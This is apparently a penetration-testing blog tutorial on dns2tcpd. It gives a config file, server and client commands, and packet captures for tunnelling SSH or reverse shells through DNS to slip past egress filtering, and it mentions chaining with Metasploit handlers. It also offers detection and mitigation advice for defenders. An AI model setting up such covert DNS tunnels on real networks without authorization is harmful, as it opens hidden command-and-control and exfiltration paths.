Whenever I need to prove that “we only allow DNS out” is not the same as “our network is locked down,” dns2tcp is the pair of tools I reach for. dns2tcpd is the server half — the piece that turns raw DNS queries back into a usable TCP stream. Here’s how it works and how I run it in authorized engagements.
What Is dns2tcpd?
dns2tcpd is the server-side daemon of the dns2tcp suite, a tool built specifically to tunnel TCP connections through DNS traffic. Unlike iodine, which builds a generic IP-over-DNS tunnel and virtual network interface, dns2tcp is narrower and more surgical: it forwards specific TCP ports through DNS, so you’re tunneling a defined service (SSH, a web app, a C2 channel) rather than an entire network stack.
The companion client-side binary is dns2tcpc, covered separately, but the two only make sense together, so I’ll reference both here.
Architecture and Internal Working
- dns2tcpd (server) runs on a host that is authoritative for a domain you control, e.g.
t.yourlab.com. It listens for incoming DNS queries and de-encapsulates the TCP payload hidden inside them. - A resource record file (
dns2tcpdrc) maps named “resources” to real backend host:port pairs — for example, mapping a resource calledsshto127.0.0.1:22on the server. - The client encodes outbound TCP data into DNS query labels; the server decodes them, forwards the data to the mapped backend service, and encodes the response back into DNS answers.
- Like iodine, this relies on the fact that DNS queries for an unknown domain get walked up the resolution hierarchy until they reach your authoritative server — so even fully NAT’d, egress-filtered clients that can only resolve DNS will eventually reach you.
- dns2tcpd supports simple key-based authentication so random internet traffic can’t just use your tunnel.
Installation
sudo apt update
sudo apt install dns2tcp
This installs both dns2tcpd and dns2tcpc.
Prerequisites
- A domain you own with an NS record delegating a subdomain (e.g.,
t.yourlab.com) to your server’s public IP. - Root/administrative access on the server to bind port 53.
Configuration File
Create /etc/dns2tcpd.conf:
listen = 0.0.0.0
port = 53
user = nobody
chroot = /tmp/dns2tcp
domain = t.yourlab.com
resources = ssh:127.0.0.1:22, web:127.0.0.1:80
key = LabTestKey123
Syntax
dns2tcpd -f -F -d 1 -c /etc/dns2tcpd.conf
Flag breakdown:
-f— read configuration from the specified file-F— run in foreground (don’t daemonize; good for testing)-d 1— debug level (0–3, higher is more verbose)-c— path to the config file
Complete Command Example and Output
Starting the server:
$ sudo dns2tcpd -f /etc/dns2tcpd.conf -F -d 1
reading configuration file
listening on port 53
domain: t.yourlab.com
resources: ssh -> 127.0.0.1:22
resources: web -> 127.0.0.1:80
waiting for connections
Client connecting (using dns2tcpc, covered in its own article):
$ dns2tcpc -z t.yourlab.com -k LabTestKey123 -r ssh -l 2222 192.168.1.1
Server-side log on connection:
new client connected
resource ssh requested
forwarding to 127.0.0.1:22
tunnel established, forwarding TCP data
Using the tunnel:
ssh -p 2222 labuser@127.0.0.1
This SSH connection is transparently riding inside DNS queries to the server.
Verifying with tcpdump on the client network:
sudo tcpdump -i eth0 udp port 53 -n
14:02:11.552012 IP 10.10.10.5.51322 > 192.168.1.1.53: 5521+ TXT? aXNzaGRhdGE.t.yourlab.com. (68)
14:02:11.601887 IP 192.168.1.1.53 > 10.10.10.5.51322: 5521 1/0/0 TXT (200)
Real-World Use Case (Authorized Pentest)
In client engagements where the perimeter firewall blocks essentially everything outbound except DNS resolution to the corporate resolver:
- I stand up dns2tcpd on an external VM under my own domain, mapping a resource to an internal listener I control (e.g., a reverse shell listener or SSH).
- From inside the restricted segment, dns2tcpc connects out and maps a local port that tunnels straight to my server’s mapped resource.
- I demonstrate SSH or full reverse-shell access purely through DNS, which is a strong, concrete way to show a client that “DNS-only egress” still represents a viable exfiltration/C2 path.
- In the report, I include packet captures showing the abnormal query volume and recommend DNS query logging, TXT/NULL record rate limiting, and forcing all endpoint DNS through an inspected internal resolver rather than allowing direct external DNS.
Automation and Integration
- Run dns2tcpd as a systemd service for persistent lab availability.
- Chain with
proxychains4: point a SOCKS proxy at a service tunneled through dns2tcp, then route arbitrary tools through it. - Combine with Metasploit’s multi-handler by mapping a resource to the handler’s listening port, giving you a DNS-tunneled reverse shell for demonstrating advanced egress bypass techniques in a lab environment.
Performance Optimization
- Keep transferred payloads small; dns2tcp, like all DNS tunneling tools, is throughput-limited (commonly tens of kbps) due to DNS packet size constraints.
- Use TXT records where supported, as they tend to carry more payload per query than some alternatives.
- Avoid running multiple simultaneous heavy resources over one tunnel; multiplex sparingly.
Troubleshooting
- Server not receiving queries: confirm your NS delegation is correct and has propagated; test with
dig t.yourlab.com NSfrom an external network. - “Authentication failed”: the
keyvalue in the client and server config/command must match exactly. - Slow or stalled transfers: verify no local DNS caching resolver is truncating or rewriting unusual queries; some corporate resolvers alter or drop uncommon record types.
- Port 53 already in use: another DNS service (like systemd-resolved or bind9) may be bound; stop it or bind dns2tcpd to a different interface/port for local testing.
Best Practices
- Only deploy against domains and infrastructure you control, and only test against networks you’re authorized to assess.
- Always set a strong
keyvalue — an open dns2tcpd listener without authentication can be discovered and abused by third parties scanning for open DNS tunnels. - Capture and retain packet-level evidence during testing; DNS tunneling proofs-of-concept are more convincing to stakeholders with visual packet data.
- Clearly communicate the throughput limitations to clients so the finding isn’t misunderstood as “fast unrestricted data exfiltration.”
Common Mistakes
- Forgetting to chroot or drop privileges (the
user/chrootconfig directives exist for a reason — running as root unnecessarily on an internet-facing DNS listener is a real risk). - Misconfiguring the
resourcesmapping and being confused when the client’s-rvalue doesn’t match any defined resource name. - Not testing plain DNS resolution to the domain before assuming dns2tcpd itself is broken.
FAQ
Is dns2tcp the same as iodine? No. iodine builds a full IP-over-DNS tunnel with a virtual network interface; dns2tcp specifically forwards individual TCP connections/services through DNS, which is often lighter weight for targeted use cases like a single SSH session.
Does dns2tcpd encrypt the tunneled data? No, the DNS encapsulation itself isn’t encryption. Layer SSH, TLS, or another encrypted protocol on top if confidentiality matters.
Can this bypass any firewall? Only ones that permit DNS resolution out (nearly universal) and don’t deeply inspect or rate-limit DNS query patterns.
How do defenders detect dns2tcp usage? Watch for high-frequency TXT/NULL queries to a single external domain, base32/base64-like patterns in subdomain labels, and DNS query volume anomalies per host.
Summary
dns2tcpd, paired with dns2tcpc, gives penetration testers a focused way to tunnel specific TCP services through DNS rather than a whole network stack. In authorized assessments, it’s an efficient way to demonstrate that DNS-only egress policies still leave a usable command-and-control and data path open, reinforcing the need for DNS-layer inspection and monitoring.
References
- dns2tcp GitHub (maintained fork): https://github.com/alex-sector/dns2tcp
- Kali Linux tool page: https://www.kali.org/tools/dns2tcp/
- Man page:
man dns2tcpd